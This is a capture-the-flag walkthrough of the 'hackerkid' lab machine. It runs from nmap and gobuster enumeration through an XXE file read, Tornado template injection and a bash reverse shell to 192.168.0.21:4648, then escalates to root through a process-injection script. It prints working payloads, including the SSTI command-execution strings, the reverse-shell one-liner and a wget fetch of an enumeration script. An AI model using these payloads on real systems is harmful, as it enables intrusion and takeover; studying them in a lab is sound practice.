netdiscover

192.168.0.32
nmap
1 | nmap -Sv 192.168.0.32 -p- |
Port 80
web page



gobuster
1 | gobuster dir -t 100 -u http://192.168.0.32/ -w Documents/wordlist/directory-list-medium.txt |
Nothing interesting.
Port 9999
http://192.168.0.32:9999/login?next=%2F

gobuster
1 | gobuster dir -t 100 -u http://192.168.0.32:9999/ -w Documents/wordlist/directory-list-medium.txt |
source code

I remove the hidden argument.

I have something to do with the xsrf cookie but it’s too hard to find the right cookie to inject.

Back to port 80
TO DO: Use a GET parameter page_no to view pages.
So I have to do something like this:
http://192.168.0.32/index.php?page_no=1
And it’s working:

I will script something, I can do it with burpsuit too.
I’m grabing the size of the page.
1 | i=0 |
Output:
1 | ➜ hackerkid ./c.sh |
Page 21
http://192.168.0.32/index.php?page_no=21

/etc/hosts
I’m adding this line to my file.
192.168.0.32 hacker.blackhat.local blackhat.local
dig
I have to use dig on the domain name.
1 | dig hackers.blackhat.local @192.168.0.32 |
COOKIE: a2f3e2323bd5863f010000006212500721681d408206f9d6 (good)
hackerkid.blackhat.local
Now I have to add it to my hosts file.
hackerkid.blackhat.local
xxe exploit
The form is build with xml, so I can exploit it with a xxe exploit.
https://infosecwriteups.com/exploiting-xml-external-entity-xxe-injection-vulnerability-f8c4094fef83

You have to type this in the xml request, it will display nothing.
1 |
And then display it wih this:
1 | &xxe; |
But you can’t put it anywhere, it have to replace the email content.
Read the bashrc
Fist I tryed to download a file then execute it with php.
And use curl -O on a revershell script but it’s not working too.
https://cxyy4rle.blogspot.com/2019/10/reading-local-files-with-xxe-attacks.html
I willl try this on the user saket, I saw him in the /etc/passwd.
1 |

Now I have to decode it:
https://www.base64decode.org/

1 | #Setting Password for running python app |
Tornado server
I have to login to the website with there’s credentials.
http://192.168.0.32:9999/login?next=%2F
I’m using saket because it’s not working with admin, and this user is un the /etc/passwd file and in the password.

I’m logged.

There is nothing else on this page.
1 | Tell me your name buddy |
He want a name, and he is using the word get, I’m not the best in english but, I think this sentence could be “how can I know who you are?”
So I have to get a name.
SSTI
https://support.clickmeter.com/hc/en-us/articles/211032666-URL-parameters-How-to-pass-it-to-the-destination-URL
www.yoursite.com?myparam={id}
Let’s try it:
http://192.168.0.32:9999/?name={id}

Can I do something with this?
http://192.168.0.32:9999/?name=49

This is good, the name of what I’m doing is Server Side Template Injection (SSTI).
Reversshell
So I found a way to exec a command.
1 | http://192.168.0.32:9999/?name={%import%20os%}{{os.popen(%22whoami%22).read()}} |

Good now I want to use a revershell.
I’m gonnna use this one:
1 | bash -c "bash -i >& /dev/tcp/192.168.0.21/4648 0>&1" |
But when I’m trying to run it in my browser I have an error.
I have to use burpsuit.
With this tool I saw where was the problem, the & was not in the payload, it was interpreted as an another command.
I have to encode my request and then send it.
https://www.urlencoder.org/
1 | {% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.0.21/4648 0>&1"')}} |
Output:
1 | %7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.21%2F4648%200%3E%261%22%27%29%7D%7D |
I have to listen first.
1 | nc -nlvp 4648 |


Enumeration
Create web server
On my computer.
1 | python2.7 -m SimpleHTTPServer |
Download them
1 | wget http://192.168.0.21:8000/lse.sh |


Nothing interesting
Bash history

Only this part is interesting.
1 | python2.7 inject.py 405 |
So, in the first line he is using an injector on the PID 405.
Then open netcat to listen.
I think it was the wrong PID so he list them.
He list the PID with root permisions.
Then use the injector with the good PID
And he use the commands:
1 | ps -eax|grep root |
exploit
1 | saket@ubuntu:~$ ps -eaf|grep root |

The PID is 1363.
1 | python2 inject.py 1363 |
You can check the open port, it should be 5600.
1 | netstat -tnlp |

Then we can use netcat to listen on the port.
1 | nc 127.0.0.1 5600 |
Now you are root.
